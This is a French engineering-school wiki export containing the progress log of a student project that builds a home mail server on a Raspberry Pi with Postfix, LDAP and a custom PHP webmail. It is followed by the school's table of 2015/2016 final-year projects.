* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http://projets-imasc.plil.net/mediawiki/images/1/10/PFE_Final_TENEUR_LIBAERT.pdf ICI]

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]

Code Perl du script pour Postfix :

Fichier de configuration (Postfix/Lighttpd) fonctionnels : [http://http://projets-imasc.plil.net/mediawiki/images/1/11/Config_intimail.zip Config Postfix+Lighttpd]

Package Debian d'installation de l'interface : [https://www.intimail.pw/intimail.deb intiMail.deb]

Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]

Projets IMA5 2015/2016

2016-02-23T11:06:08Z

Tteneur : /* Répartition des binômes */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

<table border="1">
<tr>
<th>Projet</th>
<th>Elèves</th>
<th>Encadrant Ecole</th>
<th>Rapport décembre</th>
<th>Rapports finaux</th>
<th>Vidéo</th>
</tr>
<tr>
<td>[[P1 Convertisseur DC/DC pour réseau MTDC]]</td>
<td> Mehmet Ilter </td>
<td> Philippe DELARUE </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P2 Data Logger]]</td>
<td> Hidéo VINOT</td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015 12;00</td>
<td> </td>
<td> mercredi 24 février à 10h avec L. Engels</td>
</tr>
<tr>
<td>[[P4 Jukebox multi-pièces]]</td>
<td> Alexandre Jouy / Julien hérin </td>
<td> Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] </td>
<td> </td>
<td> RDV pris le 23/02 avec L. Engels</td>
</tr>
<tr>
<td>[[P9 Système d'hébergement domestique]]</td>
<td> Romain Libaert / Timothée Teneur </td>
<td> Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015, 10:21, [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]</td>
<td> [[Fichier:PFE_Final_TENEUR_LIBAERT.pdf]]</td>
<td> Tournée le 22/02 par M. Engels</td>
</tr>
<tr>
<td>[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]</td>
<td> Mageshwaran Sekar </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015,07:48, [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]</td>
<td> [[Fichier:FYP-P10-Lilliad-MSEKAR.pdf]]</td>
<td> </td>
</tr>
<tr>
<td>[[P11 Spectateur augmenté]]</td>
<td> Teresa Tumbragel </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> [[Fichier:Teresa Tumbragel-Rapport Spectateur Augmente.pdf]] </td>
<td> NA </td>
</tr>
<tr>
<td>[[P12 Capteurs enfouis pour vieillissement du béton]]</td>
<td> JULITA Alex </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P14 Localisation dans le corps humain]]</td>
<td> Matthieu Marcadet </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015, 10:52, [[Fichier:Rapport_intermediaire_PFE_Marcadet.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P18 Meuble intelligent]]</td>
<td> Kevin Colautti / Benjamin Lefort </td>
<td> Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys </td>
<td> 14/12/2015, 14:44, [[Fichier:P18_pre_soutenance.pdf]]</td>
<td> [[Fichier:Rapport_P18_COLAUTTI_LEFORT.pdf]]</td>
<td> Tournée le 22/02 par M. Engels</td>
</tr>
<tr>
<td>[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]</td>
<td> Jean Wasilewski & Pierre Letousey </td>
<td> Xavier Redon / Thomas Vantroys / Alexandre Boé </td>
<td> [[Fichier:P20_ASSP.pdf]]</td>
<td> [[Fichier:IMA5-ASSP-JWPL.pdf]]</td>
<td> Rendez-vous pris avec M. Engels le vendredi 25 Février à 10h </td>
</tr>
<tr>
<td>[[P24 Nuage pour sites Web]]</td>
<td> Jeremie Denechaud / Thibaut Scholaert </td>
<td> Xavier Redon / Thomas Vantroys </td>
<td> 15/12/2015, 12:02, [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]</td>
<td> </td>
<td> Fait Maison</td>
</tr>
<tr>
<td>[[P25 Architecture ROS pour des véhicules autonomes intelligents]]</td>
<td> Jean-Michel Tournier / Cyril Smagghe </td>
<td> Vincent Coelen et Rochdi Merzouki </td>
<td> 15/12/2015,09:04, [[Fichier:P25-2015_Smagghe_Tournier_decembre.pdf]]</td>
<td> </td>
<td>RDV mercredi 24 15h </td>
</tr>
<tr>
<td>[[P26 Robot de forgeage et d’usinage]]</td>
<td> Bertrand Yvernault / Louis Thebault </td>
<td> Rochdi Merzouki </td>
<td> 14/12/2015, 17:51</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P27 Robot de fraiseuse]]</td>
<td> Flavien Royer / Maxime Morisse </td>
<td> Rochdi Merzouki </td>
<td> 14/12/2015, 19:06, [[Fichier:Rapport_Royer_Morisse.pdf]]</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P30 Thermostat connecté et intelligent]]</td>
<td> TISSOT Elise / TIRABY Céline </td>
<td> Guillaume Renault / Alexandre Boé / Xavier Redon </td>
<td>15/12/2015, 00:35, [[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] </td>
<td> [[Fichier:Rapport_final_PFE_TISSOT_TIRABY.pdf]] </td>
<td> Tournée le 19/02 par L. Engels </td>
</tr>
<tr>
<td>[[P32 Récupération d'énergie pour balise BLE]]</td>
<td> Quentin Sultana </td>
<td> Frédéric Giraud / Alexandre Boé / Thomas Vantroys </td>
<td> 13/12/2015, 19:31, [[Fichier:CR Miprojet_Sultana.pdf]]</td>
<td> [[Fichier:Rapport_P32_Sultana.pdf]]</td>
<td> RDV L. Engels le 24/02 </td>
</tr>
<tr>
<td>[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]</td>
<td> Jérôme Bailet / Mehdi Zeggaï </td>
<td> GAPAS / Laurent Grisoni / Thomas Vantroys </td>
<td> 14/12/2015, 10:54, [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]</td>
<td> </td>
<td> RDV L. Engels le 25/02 </td>
</tr>
<tr>
<td>[[P35 Robot de test pour le sport de Golf]]</td>
<td> Deborah Saunders </td>
<td> Rochdi Merzouki </td>
<td> 15/12/2015, 12:07</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]</td>
<td> Sandra HAGE CHEHADE / Thomas DANEL </td>
<td> Vincent COELEN / Rochdi MERZOUKI </td>
<td> 15/12/2015, 12:02</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]</td>
<td> Louis CHAUCHARD / Romain IMBERT </td>
<td> Blaise CONRARD </td>
<td> 14/12/2015, 19:21</td>
<td> [[Fichier:IMA5_P40_Chauchard_Imbert_RapportFinal.pdf‎]] </td>
<td> RDV L. Engels le 23/02 </td>
</tr>
<tr>
<td>[[P13 Plateforme expérimentation IOT]]</td>
<td> ROCHE François </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 14/12/2015, 19:37, [[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] </td>
<td> [[Fichier:PFE_P13-Plateforme_expérimentation.pdf]]</td>
<td> Tournée le 22/02 par M. Engels </td>
</tr>
<tr>
<td>[[Implantation d'un filtre FIR-FX-LMS sur FPGA pour l'annulation de Bruit Acoustique]]</td>
<td> Bown Alexander / Piat Valentin </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> NA </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[Pilulier automatique]]</td>
<td> Manouk Simon / Corentin Duplouy </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> NA </td>
<td> </td>
<td> RDV L. Engels le 23/02 </td>
</tr>
</table>

P9 Système d'hébergement domestique

2016-02-23T11:04:52Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
